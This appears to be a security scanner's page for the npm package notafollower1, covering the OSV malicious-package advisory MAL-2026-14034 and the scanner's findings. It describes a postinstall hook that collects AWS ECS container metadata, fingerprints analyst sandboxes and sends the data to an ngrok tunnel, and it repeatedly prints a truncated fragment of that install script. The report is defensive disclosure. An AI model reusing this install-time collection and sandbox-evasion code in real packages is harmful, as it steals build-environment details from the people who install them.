notafollower1@1.0.10: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 21h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-14034 confirms this npm version as malicious. package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl...

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

Decision reason

High-risk behavior combination matched malicious policy.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let o='unknown';let img=c.Image;if(img.includes('twbray'...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let o='unknown';let img=c.Image;if(img.includes('twbray'...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let o='unknown';let img=c.Image;if(img.includes('twbray'...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let o='unknown';let img=c.Image;if(img.includes('twbray'...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

LowNo License